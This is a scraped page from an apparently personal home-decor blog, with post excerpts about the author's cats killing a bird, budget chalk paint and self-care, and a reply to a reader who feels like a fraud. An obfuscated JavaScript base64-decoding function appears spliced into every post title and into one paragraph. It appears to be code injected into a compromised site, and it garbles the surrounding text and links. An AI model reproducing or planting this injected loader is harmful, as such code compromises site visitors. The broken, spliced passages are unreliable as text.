function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.i/" rel="bookmark">…ollie, owen and the bird

If you know me and Blue Egg, you know Ollie and Owen aka my orange tabbies that are total photo-bombers. They just can't help themselves. Take a look:

IMG_4111

IMG_7106 IMG_6830

IMG_4135

IMG_4498

IMG_3225

IMG_4869

IMG_8934

IMG_0386

You get the point. They can't help themselves. So, yesterday I had to run an errand and because it was an absolutely gorgeous day I left a veranda door open because they were enjoying it so much. I even took a picture because they looked like old grandpas just lounging, living the life.

IMG_0891

When I walked in the front door about 20 minutes later I was starteled to find feathers spread all over my kitchen. I had to blink a few times to realize what they were and when I crept around the island, I was so distraught to find this. Brace yourselves, Friends.

IMG_0895

I know! It's too horrible! I screamed into the phone, as I was on with Dear Heather, while I figured out what to do. I gently wraped him in a bag, dug a shallow grave in the front garden and said a prayer. God bless this little bird. 🙁

I have no idea how Ollie and Owen even accomplished it because they have never properly been outdoors. They somehow managed to snatch this bird off the railing or even in thin air and brought him into my kitchen. I know it's a "gift" when a dead bird comes from a cat, but I haven't quite forgiven them and am def. giving the silent treatment. Needless to say, when I searched for them after the funeral, this is what I found.

IMG_0901

Clearly not remorseful.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc/" rel="bookmark">…more rust-oleum and deepak chopra

Yes. To all those that commented after yesterday’s post on function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes/chalked” target=”_blank”>Rust-Oleum. I agree that you get what you pay for and I agree that this paint is not the same quality as Annie Sloan. It is sadly and unfortunately just not as good (I have other thoughts about the Rust-Oleum Topcoat so stay tuned). BUT, I also get so many emails about how expensive Chalk Paint is and I do think it is often out of people's budget at almost $40 a pint. I don't want money holding anyone back from painting over that drab furniture and not transforming your space and ultimately your mood. This is most important to me.

Painting furniture is all well in good, but I want to deepen it with you. I really do believe that you deserve a beautiful environment. We work so very hard out there in the world and are constantly battling other personalities and events that push and pull us and every once in a while knock us down. I want you to rest in a place that is pleasing and calm. I think a space can really change our mood. I have been know to leave a restaurant if I do not feel comfortable in the environment...or I just hate the color of the linens. Let me explain. As a mom of three active kids, I do not get out to dinner much with Dear Husband so when I do I want it to be worth putting on make-up and paying for a babysitter. What is around me is how I FEEEEEEL inside.Yes, it's slightly embarrassing to DH, but I want to sit in Lovely. I realize that I am a sensory person, but I got to believe that if we are surround with beauty then we will feel special and, maybe, beautiful ourselves.

IMG_9324

This is the feeling I want for all my sweet readers. I want you to know that you deserve beauty in your life and I think your space can lift you up and prepare you for what the world holds outside it's walls. So, if money is going to hold you back from changing your space, don't let it. Get it where you can. If it's a spray can or a half open can of wall paint that's been sitting on your garage, let's move forward creating beauty and creating new lives.

Okay, that sounds a bit lofty, I know. But as someone that is trying to live wholeheartedly (as defined by the beloved Brene Brown) I think finding rest in our space is a good first step to self care. And guess what, self care and compassion is the most important thing that you can do for yourself and for your family. If you put off finding peace in your body and your mind, you may lose the opportunity for contentment in your daily life.

DS (Dear Sister) sent me this amazing reminder via Deepak Chopra this very morning.

733385

How good is that?! To me, this means that thinking I can just plow through my life doing and doing more and it's not going to take a toll on my body is so misguided. It all works together. My stressed out thoughts will have an effect on how my body works and runs. I am naive to not remember this always. But, before I shame myself, I will have compassion and remind myself that this is a practice. Every day is another opportunity to practice rest and creating beauty because we all deserve it.

IMG_8716

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=/" rel="bookmark">…reader comment and fraud

“I’ve only been painting furniture for about a year (you’re my main inspiration) however I often feel like a bit of a fraud.” – Melissa

Dear Melissa,

Thank you so much for your vulnerability. I think we all feel like frauds at least a few times every single day. I know that when I lay down my yoga mat and pretend like I am trying to get into Crow pose, I'm really just trying not to fall on my face. Quite literally.

vinyayaYoga

I think there is something to the phrase " Fake it 'Til you make it." It sounds trite, but I do think it's a way to trick our brains into believing that we go this. When we don't feel confident many times it is based on how we think others will perceive us. We are worried that they will find fault, be disappointed or even turn and run from us. We are scared of the rejection that we could potentially see in someone's face and we don't want to feel that pain. I know I don't.

My advice to you, Melissa, is to practice, practice, practice at what you are trying to become good at. Then when you are ready to show the world what you have been working on, act like you've been doing it your whole life. If you fumble and can't answer a question, it doesn't mean that you are a phoney, it just gives you an opportunity to say "Hmm, I really don't know." And there are many smart, successful people that really don't know everything either.

The good news for you is that art is open to interpretation. When I started out I used lots of dark wax. The past 2 years I have not used dark wax once. But, I look back on those images of those pieces and I love them still. It worked and they carried their own look.

When you are ready to sell I want you to stand confidently next to your work. Make sure the craftsmanship is always the best it can be (this is one place not to leave to chance) and then tie a price tag on it and know that it is worth someone else's money and space.

Namaste.

IMG_2985